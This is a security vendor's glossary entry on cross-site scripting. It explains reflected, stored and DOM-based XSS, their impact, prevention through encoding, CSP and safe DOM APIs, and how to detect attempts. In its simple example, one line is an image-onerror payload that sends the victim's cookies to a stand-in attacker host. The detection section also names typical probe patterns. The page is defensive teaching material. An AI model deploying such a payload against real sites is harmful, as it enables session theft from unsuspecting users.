Glossary · C

Cross-Site Scripting (XSS)

Web vulnerability in which untrusted input ends up in a page as executable script, so the attacker's code runs in the browser of other users.

By Obseria TeamUpdated

Definition

Cross-site scripting (XSS) is a web application vulnerability in which untrusted input is included in a page without proper encoding, so the browser executes it as script in the context of the vulnerable site. The attacker's code then runs with the victim's session and can read page content, perform actions or steal tokens. The main variants are reflected, stored and DOM-based XSS. XSS is listed as CWE-79 and is part of the Injection category in the OWASP Top 10 2021.

What is cross-site scripting?

Cross-site scripting (XSS) is an injection flaw in the browser. A web application takes data from a request, a database or the URL and writes it into HTML, an attribute or a script without encoding it for that context. If the data contains markup such as a <script> tag or an event handler, the browser cannot tell it apart from the site's own code and runs it. Because the code runs on the vulnerable origin, the same-origin policy does not protect the user: the script can read the page, call the site's APIs with the user's cookies and change what the user sees.

The name is historical. Early attacks loaded scripts across sites, but today the term covers any injection of active content into a page. XSS has been on every edition of the OWASP Top 10; since 2021 it is grouped with SQL injection and other flaws under A03 Injection. A well-known early example was the Samy worm, which spread across MySpace profiles in 2005 through stored XSS.

Types of XSS

TypeWhere the payload livesTypical example
Reflected XSSIn the request, echoed back in the responseA search page prints the query parameter without encoding; the attacker sends the victim a crafted link.
Stored XSSSaved on the server, served to every viewerA comment, profile name or support ticket contains script that runs for each user, often including administrators.
DOM-based XSSOnly in the browser, in client-side codeJavaScript reads location.hash and writes it into innerHTML; the server never sees the payload.

A related variant is blind XSS: a stored payload fires later in a back-office tool, such as an admin panel or log viewer, that the attacker cannot see directly. Payloads usually call back to an external server to confirm execution.

A simple example

<!-- vulnerable server-side template (pseudo code) -->
<p>Results for: {{ raw(query) }}</p>

<!-- request -->
/search?q=<img src=x onerror="fetch('https://evil.example/c?'+document.cookie)">

<!-- vulnerable client-side code -->
document.getElementById("msg").innerHTML = location.hash.slice(1);

In both cases the fix is the same idea: treat the value as text, not as markup. With proper encoding the browser displays &lt;img ...&gt; as characters instead of creating an element.

Impact

  • Session and token theft: reading cookies that are not marked HttpOnly, or tokens kept in localStorage.
  • Actions as the victim: the script can call the application's APIs with the victim's session, for example to change an email address, create an API key or transfer data.
  • Credential phishing on a trusted domain: injecting a fake login form into the real site.
  • Defacement and malware delivery: changing content or redirecting visitors.
  • Admin takeover: stored or blind XSS that fires in an administrator's browser can lead to full control of the application.

Preventing XSS

  • Context-aware output encoding: encode for the exact context, whether HTML body, attribute, JavaScript string, URL or CSS. HTML encoding alone does not make a value safe inside a script block or an href.
  • Auto-escaping templates and frameworks: modern template engines and frameworks such as React, Angular and Vue escape by default. Most XSS in such code comes from escape hatches like dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml or a |safe filter.
  • Sanitize HTML you must accept: if users may submit rich text, run it through a maintained sanitizer such as DOMPurify with an allowlist, rather than writing your own regular expressions.
  • Safe DOM APIs: prefer textContent and setAttribute over innerHTML, document.write and eval.
  • Content Security Policy (CSP): a strict, nonce- or hash-based policy blocks inline scripts that were not issued by the server and limits where scripts can load from. Trusted Types, where supported, lock down dangerous DOM sinks.
  • Cookie flags: HttpOnly keeps session cookies away from scripts, and SameSite reduces cross-site request abuse. They limit the damage, they do not fix the flaw.
  • Validate URLs: allow only https: (and perhaps mailto:) in user-supplied links to rule out javascript: URLs.
  • Test continuously: static analysis finds dangerous sinks, dependency checks find vulnerable libraries, and dynamic tests confirm what is exploitable.
Content-Security-Policy: default-src 'self';
  script-src 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none'; base-uri 'none';
  report-to csp-endpoint

Common mistakes

  • Filtering input with a blocklist such as removing <script>. Attackers switch to event handlers, SVG, encodings or mixed case.
  • Encoding once at input time and then using the value in a different output context.
  • A CSP with 'unsafe-inline' or broad host allowlists, which offers little protection against XSS.
  • Forgetting internal tools. Log viewers, ticket systems and admin dashboards render attacker-controlled data too.
  • Outdated front-end libraries with known XSS issues, often listed as a CVE.

Detecting XSS attempts

Automated scanners and attackers probe public sites constantly. Typical traces in access and WAF logs are query parameters or form fields with <script, onerror=, javascript: or their URL-encoded forms. In the browser, CSP violation reports show blocked inline scripts or unexpected script sources, and sudden JavaScript errors after a content change can point to injected markup. A RASP agent or a WAF can block known patterns as an additional layer, but they complement correct encoding rather than replace it. In AI applications, a related problem is model output that contains HTML or links and is rendered without encoding, which links XSS to prompt injection.

XSS in single-page apps and APIs

Single-page applications move much of the rendering into the browser, so DOM-based XSS becomes more important than classic reflected XSS. Typical sinks are innerHTML, outerHTML, insertAdjacentHTML, eval, setTimeout with a string argument and dynamically built href or src attributes. JSON APIs are not immune either: an API that returns user content with the content type text/html, or a front end that inserts API fields as HTML, recreates the problem. Return JSON with application/json, set X-Content-Type-Options: nosniff and treat every field from an API as untrusted text until it is deliberately rendered.

The observability perspective

XSS lives at the border between server and browser, so it is visible only when both sides are observed. Server logs and traces show which endpoint delivered a payload and which stored record contained it. Browser telemetry shows what actually happened on the page: CSP reports, script errors and unexpected requests to foreign domains. Linking these signals helps teams tell harmless probing from a payload that really executed, find every page that renders the affected field, and confirm after a fix that the reports stop.

How Obseria helps

Obseria helps you find XSS weaknesses and see related activity; it does not block requests and is not a WAF. Static code analysis (SAST) searches your repositories for insecure patterns before release, and software composition analysis checks front-end and back-end libraries for known vulnerabilities. Runtime code analysis (IAST) reviews log lines and requests of the running application for weaknesses. Access and WAF logs, including requests that carry script payloads, can be searched in Security Investigator and Security Log Analytics, and real user monitoring shows errors in the browser by page and region. Blocking stays with your code, CSP, proxy or WAF.

Frequently asked questions

Both are injection flaws. SQL injection makes the database execute attacker input as SQL on the server. XSS makes the victim's browser execute attacker input as script in the context of the vulnerable site. The defenses differ: parameterized queries against SQL injection, context-aware output encoding and CSP against XSS.

Reflected XSS, where the payload is part of the request and echoed in the response; stored XSS, where it is saved on the server and served to other users; and DOM-based XSS, where client-side JavaScript writes untrusted data into the page without the server being involved.

A strict, nonce- or hash-based CSP makes most XSS payloads fail, because injected inline scripts and scripts from unknown sources are blocked. It is a strong second layer, but it does not fix the underlying flaw, and weak policies with 'unsafe-inline' offer little protection.

They escape output by default, which prevents most XSS. Risks remain where code bypasses this, for example with dangerouslySetInnerHTML, v-html, direct DOM manipulation, javascript: URLs in links or vulnerable third-party components.

It keeps session cookies out of reach of scripts, which stops simple cookie theft. The injected script can still act as the user within the page and call APIs with the session, so HttpOnly limits the damage but does not prevent the attack.

Look at the browser side: CSP violation reports, JavaScript errors and requests to unknown domains on the affected pages. On the server side, correlate the request or stored record that contained the payload with the pages that render it, and check for unusual follow-up actions in the victim's session.

Put these concepts into practice

Try Obseria free for 14 days, with OpenTelemetry and no proprietary agents.